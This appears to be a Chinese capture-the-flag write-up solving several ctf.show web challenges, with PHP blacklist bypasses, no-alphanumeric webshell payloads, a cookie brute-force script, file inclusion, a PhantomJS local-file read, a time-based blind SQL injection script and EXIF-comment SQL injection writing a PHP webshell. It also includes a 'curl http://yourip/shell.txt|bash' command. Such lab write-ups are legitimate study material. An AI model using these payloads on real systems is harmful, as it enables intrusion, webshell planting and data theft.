好早的比赛了。
你取吧 打开靶机直接给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting(0 ); show_source(__FILE__ ); $hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php' ); $code=$_REQUEST['code' ]; $_=array ('a' ,'b' ,'c' ,'d' ,'e' ,'f' ,'g' ,'h' ,'i' ,'j' ,'k' ,'m' ,'n' ,'l' ,'o' ,'p' ,'q' ,'r' ,'s' ,'t' ,'u' ,'v' ,'w' ,'x' ,'y' ,'z' ,'\~' ,'\^' ); $blacklist = array_merge($_); foreach ($blacklist as $blacklisted) { if (preg_match ('/' . $blacklisted . '/im' , $code)) { die ('nonono' ); } } eval ("echo($code);" );?> wu
$hint
是hhh.php内容的base形式,可通过post或get方法传入code,$_
是一个包含了所有小写字母和~,^
的 数组并传递给了$blacklist
,遍历$blacklist
,如果匹配到了数组内的元素,输出nonono,执行传入的$code
但有个echo挡了一下。
解1:数组下标取值 由于并未过滤$
和[]
,可以用数组的下标数字把数组内的值取出来组合,比如ls /
就变成了$_[13]$_[18] /
,那么$__:$_[18].$_[24].$_[18].$_[19].$_[4].$_[11] => system
$___:$_[13].$_[18].' '.'/' => ls /
拼接一下即可
12)
闭合前面echo(
,(12
闭合后面的)
不闭合也行,php中,反引号可以用来执行命令,比如echo
那么也不需要点号拼接值了,直接执行
构造相应的cat /flag
即可
解2:位移运算符 Ascii表中,'@'|'(任何左侧符号)'=='(右侧小写字母)'
,比如'@'|'!'=='a'
,'@'|'('=='h'
那么我们构造'@@@@'|'().4'
就是hint,传入($_ = '@@@@'|'().4') == 1?1:$$_
,如果'@@@@'|'().4'!=1
,就会执行$$_
,也就是echo出$hint
解码得<?php $a="/phpjiami.zip\n/hint.php"; ?>
,phpjiami.zip下载下来是一个混淆的php源码
解码脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php function decrypt($data, $key) { $data_1 = ''; for ($i = 0; $i < strlen($data); $i++) { $ch = ord($data[$i]); if ($ch < 245) { if ($ch > 136) { $data_1 .= chr($ch / 2); } else { $data_1 .= $data[$i]; } } } $data_1 = base64_decode($data_1); $key = md5($key); $j = $ctrmax = 32; $data_2 = ''; for ($i = 0; $i < strlen($data_1); $i++) { if ($j <= 0) { $j = $ctrmax; } $j--; $data_2 .= $data_1[$i] ^ $key[$j]; } return $data_2; } function find_data($code) { $code_end = strrpos($code, '?>'); if (!$code_end) { return ""; } $data_start = $code_end + 2; $data = substr($code, $data_start, -46); return $data; } function find_key($code) { // $v1 = $v2('bWQ1'); // $key1 = $v1('??????'); $pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');"); $pos2 = strrpos(substr($code, 0, $pos1), '$'); $pos3 = strrpos(substr($code, 0, $pos2), '$'); $var_name = substr($code, $pos3, $pos2 - $pos3 - 1); $pos4 = strpos($code, $var_name, $pos1); $pos5 = strpos($code, "('", $pos4); $pos6 = strpos($code, "')", $pos4); $key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2); return $key; } $input_file = $argv[1]; $output_file = $argv[1] . '.decrypted.php'; $code = file_get_contents($input_file); $data = find_data($code); if (!$code) { echo '未找到加密数据', PHP_EOL; exit; } $key = find_key($code); if (!$key) { echo '未找到秘钥', PHP_EOL; exit; } $decrypted = decrypt($data, $key); $uncompressed = gzuncompress($decrypted); // 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩 if ($uncompressed) { $decrypted = str_rot13($uncompressed); } else { $decrypted = str_rot13($decrypted); } file_put_contents($output_file, $decrypted); echo '解密后文件已写入到 ', $output_file, PHP_EOL;
php 脚本.php 目标.php
即可解码
解码有个一句话
1 2 3 4 5 6 ?><?php @eval("//Encode by phpjiami.com,Free user."); ?><?php $ch = explode(".","hello.ass.world.er.rt.e.saucerman"); $c = $ch[1].$ch[5].$ch[4]; @$c($_POST[7-1]); ?> <?php
访问hint.php,6=system(‘cat /flag’)即可
解3:无字母数字rce p神文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
POST传入:
1 2 3 $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); _=system('cat /flag');
同样用12)
,(12
闭合echo,另外最好整个url编码一下,类型x-www-form-urlencoded
给你shell 打开靶机只有一句I prepared a webshell for you
,源码处有隐藏跳转
访问得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting(0 ); include "config.php" ;if (isset ($_GET['view_source' ])) { show_source(__FILE__ ); die ; } function checkCookie ($s) { $arr = explode(':' , $s); if ($arr[0 ] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/' , $arr[1 ]) && count($arr) === 2 ) { return true ; } else { if ( !theFirstTimeSetCookie() ) setcookie('secret' , '' , time()-1 ); return false ; } } function haveFun ($_f_g) { $_g_r = 32 ; $_m_u = md5($_f_g); $_h_p = strtoupper($_m_u); for ($i = 0 ; $i < $_g_r; $i++) { $_i = substr($_h_p, $i, 1 ); $_i = ord($_i); print_r($_i & 0xC0 ); } die ; } isset ($_COOKIE['secret' ]) ? $json = $_COOKIE['secret' ] : setcookie('secret' , '{"secret":"' . strtoupper(md5('y1ng' )) . '"}' , time()+7200 );checkCookie($json) ? $obj = @json_decode($json, true ) : die ('no' ); if ($obj && isset ($_GET['give_me_shell' ])) { ($obj['secret' ] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path" ; } die ;
checkcookie
要求传入的cookie只能包含一对键值并且值只能是这个正则允许的字符havefun
把传入的值md5处理,字母转换为大写并按位&
运算,如果是数字和0xC0
来&
结果就是0,如果是字母则结果是64 通过checkCookie则把cookie保存在$obj
如果cookie中secret的值和$flag_md5
相等,则给出shell_path
,不等则调用havefun
解题 get传入give_me_shhell
,给出了havafun处理后的结果
可以看到前三位都是0,那么前三位都是数字,从第四位开始有字母,由于!=
是弱比较,因此只要数值和字符串的前三位相等,php就会返回true,那么爆破一下即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 import requests url = "http://9a0e6a1b-5544-4e24-bcc8-3e31e1701c52.chall.ctf.show/?give_me_shell" s = requests.session() for i in range(10): for j in range(10): for k in range(10): headers = { 'cookie':'secret={"secret": '+str(i)+str(j)+str(k)+'}' } res = s.get(url,headers = headers) if "here is your" in res.text: print(headers) break
得到115,构造{"secret": 115}
替换原来的cookie即可,刷新得到$shell_path
访问又得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting(0); session_start(); //there are some secret waf that you will never know, fuzz me if you can require "hidden_filter.php"; if (!$_SESSION['login']) die('<script>location.href=\'./index.php\'</script>'); if (!isset($_GET['code'])) { show_source(__FILE__); exit(); } else { $code = $_GET['code']; if (!preg_match($secret_waf, $code)) { //清空session 从头再来 eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker } else die('hacker'); } /* * When you feel that you are lost, do not give up, fight and move on. * Being a hacker is not easy, it requires effort and sacrifice. * But remember … we are legion! * ————Deep CTF 2020 */
黑名单不可见需要自己测试,如果没有session会跳转,eval只能执行session
fuzz后过滤内容:
f、sys、include 括号、引号、分号 ^ &等运算符 空格 / \ $ ` * #等符号
payload:]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
]=1
把$_SESSION
闭合,由于分号被过滤使用?><?
来bypass,取反~%d0%99%93%9e%98%d1%8b%87%8b => /flag.txt
,require函数可以不需要括号并且由于PHP黑魔法 require
和取反运算符之间也不需要空格就能执行,最后?>
闭合
同样方法构造即可,payload:]=1?><?=require~%d0%99%93%9e%98?>
RemoteImageDownloader 打开靶机一个提交框可以访问外网文件,考点是PhantomJS任意文件读取
在y1ng师傅 文章里找到参考文章
解题 在自己的服务器上创建个文件读本地flag,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <html > <head > <body > <script > x=new XMLHttpRequest; x.onload=function () { document .write(this .responseText) }; x.open("GET" ,"file:///flag" ); x.send(); </script > </body > </head > </html >
访问该文件地址,得到图片flag
WEB_ALL_INFO_U_WANT 打开靶机可以玩魔方,源码处发现注释
扫描之后发现备份文件
下载后源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 visit all_info_u_want.php and you will get all information you want = =Thinking that it may be difficult, i decided to show you the source code: <?php error_reporting(0); //give you all information you want if (isset($_GET['all_info_i_want'])) { phpinfo(); } if (isset($_GET['file'])) { $file = "/var/www/html/" . $_GET['file']; //really baby include include($file); } ?>
传入all_info_i_want
显示phpinfo,包含传入的file。
解1:日志文件包含 nginx日志默认路径是/var/log/nginx/access.log
往User-Agent写入一句话
再用蚁剑连接即可,但这里文件不容易找,所以反弹shell到自己服务器a=system('curl http://yourip/shell.txt|bash');
直接搜flag文件名找不到,学到了新的flag搜索方式,即搜索文件内容find /etc -name "*" | xargs grep "flag{"
解2:临时文件包含 php会在脚本执行结束后删掉临时文件,通过自身包含自身使之进入死循环,打断死循环让php执行不结束,临时文件就保存下来了 构造上传表单
1 2 3 4 5 6 7 <html> <form action="http://96013011-1e57-4c9c-b295-bba1c7e3c44d.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="post" enctype="multipart/form-data"> <input type="file" name="filename"> <input type="submit" value="提交"> </form> </body> </html>
上传一句话文件
跳转之后手动停掉死循环
就可以看到临时文件路径了
包含它即可
WUSTCTF朴实无华_Revenge wustctf朴实无华的改版
解题 level 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (isset($_GET['num'])){ $num = $_GET['num']; $numPositve = intval($num); $numReverse = intval(strrev($num)); if (preg_match('/[^0-9.]/', $num)) { die("非洲欢迎你1"); } else { if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) { die("没有这样的数"); } } if ($num != $numPositve) { die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve'); } if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧 die("非洲欢迎你2"); } if( $numPositve === $numReverse && !isPalindrome($num) ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); }
满足$numPositve = intval($num);$numReverse = intval(strrev($num));
的同时需满足
1 2 3 if ($num != $numPositve) ==> 传整数 if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) ==> 不能int溢出 if( $numPositve === $numReverse && !isPalindrome($num) ) ==> 不能是回文又要有回文的特点对称
payload:?num=1000000000000000.00000000000000010
num是弱类型判断,且php存在浮点精度问题,所以php中1000000000000000.0000000000000001=1000000000000000
是成立的
再加个0满足倒过来相等,且不是一个回文数
level2
1 2 3 4 5 6 7 8 9 if (isset ($_GET['md5' ])){ $md5=$_GET['md5' ]; if ($md5==md5(md5($md5))) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }
满足if ($md5==md5(md5($md5)))
,由于是弱类型,所以构造一个以0e开头,经过两次md5之后依然还是以0e开头的纯数字串,这样利用科学计数法的特性在php中弱类型相等
这里直接用y1ng师傅的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashlibfor i in range(0 ,10 **33 ): i = str(i) num = '0e' + i md5 = hashlib.md5(num.encode()).hexdigest() md5 = hashlib.md5(md5.encode()).hexdigest() if md5[0 :2 ] == '0e' and md5[2 :].isdigit(): print('success str:{} md5(str):{}' .format(num, md5)) break else : if int(i) % 1000000 == 0 : print(i)
得到0e1138100474
get flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if (isset ($_GET['get_flag' ])){ $get_flag = $_GET['get_flag' ]; if (!strstr($get_flag," " )){ $get_flag = str_ireplace("cat" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("more" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("tail" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("less" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("head" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("tac" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("sort" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("nl" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("$" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("curl" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("bash" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("nc" , "36dCTFShow" , $get_flag); $get_flag = str_ireplace("php" , "36dCTFShow" , $get_flag); if (preg_match("/['\*\"[?]/" , $get_flag)) { die ('非预期修复*2' ); } echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system($get_flag); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }
过滤了一些关键字,用一些字符阻断即可,比如ca\t<flag.p\hp
flag在源码里
WEB_Login_Only_For_36D 打开靶机一个登录框
源码直接给了sql语句
只要用户名含有admin,那么就不会die
sql语句可以用\
来操作,本来的语句是
select * from 36d_user where username='admin' and password='sql';
我们把用户名设为admin\
,这样,原来的'
就被注明为一个文本符号,用户名就变成了admin' and password=
select * from 36d_user where username='admin\' and password='sql';
再加个#把后面注释,这样传入的$passwd
就可以逃逸出来,执行sql语句了
解题 fuzz一下发现select,union,ascii,空格,分号等等很多东西都被过滤了,但是sleep,regexp,binary没被过滤,因此有可能是时间盲注。
substr,mid啥的都过滤了,后来想到可以用right,left一起用来代替substr
正好’^’也没过滤,可以尝试异或
当password是^if(ord(right(left(password,1),1))like(35),sleep(4),1)#
时
当password是^if(ord(right(left(password,1),1))like(73),sleep(4),1)#
时
直到四秒才返回,证明时间盲注可行
构造脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requests url="http://109b8f92-8675-4edc-a4b7-c6005bf771f9.chall.ctf.show/" k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" flag="" for i in range(20 ): for j in k: j = ord(j) data={ 'username' :'admin\\' , 'password' :'^if(ord(right(left(password,{0}),1))like({1}),sleep(4),1)#' .format(i,j) } try : r=requests.post(url,data=data,timeout=(2 ,2 )) except: flag+=chr(j) print (flag) break
跑一会儿
登录即得flag
你没见过的注入 打开靶机绝美前端
根据提示打开robots.txt,得到/pwdreset.php
,可以重置密码,重置之后登录发现是个上传
测试一下发现会将上传文件存储为压缩包,并显示文件类型,
解题 试了把sql语句写入文件名等等,都不起效果,当时记得还是阿狸师傅提醒了一下
版权信息注入(真*活久见)
测试一下,找一张jpg,用exiftools把语句写进comment
上传,发现报错,把插入语句以及Sql报错信息显示了出来
那么可以注入了,构造"');select 0x3c3f70687020406576616c28245f504f53545b2761275d293b3f3e into outfile '/var/www/html/blacknight.php';--+
把一句话写进
但写入的时候显示不全
所以换一个短的一句话:"');select 0x3c3f3d60245f504f53545b315d603b into outfile '/var/www/html/blacknight.php';--+
上传之后访问php,post一下即可